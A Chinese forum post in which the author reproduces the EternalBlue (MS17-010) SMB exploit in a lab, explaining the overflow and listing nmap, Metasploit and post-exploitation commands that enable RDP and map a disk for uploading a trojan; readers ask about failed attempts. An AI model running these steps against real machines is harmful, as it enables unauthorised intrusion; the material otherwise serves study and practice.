永恒之蓝,最近面试面到过

NinoWEI   ·   发表于 2022-01-06 14:12:08   ·   学习杂记

前言

最近一次面试,面试官随口问了一句有没有复现过永恒之蓝。大概有一分钟的时间面试官想知道这么简单的漏洞我不去复现的心路历程。挺尴尬的,这么好复现的漏洞都没有体验过。今天纯纯体验一下打卡,对老漏洞的一种致敬。

原理

在今天复现之前我只知道永恒之蓝是445端口SMB的一个漏洞,成因是缓冲区溢出。网上查了一下具体成因,看完觉得知道缓冲器溢出就够了

漏洞出现在Windows SMB v1中的内核态函数srv!SrvOs2FeaListToNt在处理FEA(File Extended Attributes)转换时,在大非分页池(内核的数据结构,Large Non-Paged Kernel Pool)上存在缓冲区溢出。函数srv!SrvOs2FeaListToNt在将FEA list转换成NTFEA(Windows NT FEA) list前会调用srv!SrvOs2FeaListSizeToNt去计算转换后的FEA lsit的大小。然后会进行如下操作:

1.srv!SrvOs2FeaListSizeToNt会计算FEA list的大小并更新待转换的FEA list的大小
2.因为错误的使用WORD强制类型转换,导致计算出来的待转换的FEA list的大小比真正的FEA list大
3.因为原先的总大小计算错误,导致当FEA list被转化为NTFEA list时,会在非分页池导致缓冲区溢出

利用条件

开着445端口的windows都可以尝试一下。Kali的msf有对该漏洞的扫描组件,有需要的话利用之前可以先扫描一下。

kali扫描端口

nmap -sS ip
这里-sS使用的是半连接TCP,不会产生日志。

利用MSF

search ms17_010
use exploit/windows/smb/ms17_010_eternalblue


设置目标ip


无法利用,关闭防火墙后任然无法利用。返回使用MSF的永恒之蓝扫描组件,提示可能存在该漏洞,但是还是连不上meterpreter,可能已经打过补丁了。如果大家知道没能利用成功的具体原因是什么,欢迎评论区告诉我!
换win 7可以连上。

执行命令


windows没有直接弹出计算机

切换成windows指令

后续利用

开启3389

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

kali连接3389

这里-r把自己的downloads盘映射到Windows的LinuxDisk盘,方便实现文件传输。接下里提取文件,上传木马。
rdesktop -g 1440x900 -r disk:LinuxDisk=/home/kali/Downloads -u Administrator -p "密码" 192.168.80.100:3389

收工

单纯体验一下永恒之蓝,对老漏洞的致敬。

打赏我,让我更有动力~

2 条回复   |  直到 2022-1-13 | 1077 次浏览

4319083
发表于 2022-1-13

我下载是windos7sp1也是出现你这个问题链接不上

评论列表

  • 加载数据中...

编写评论内容

askes24
发表于 2022-1-13

wmic RDTOGGLE WHERE ServerName=’%Administrator%’ call SetAllowTSConnections 1 大佬我输入这个他显示是没有可用实例这是为啥呀

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.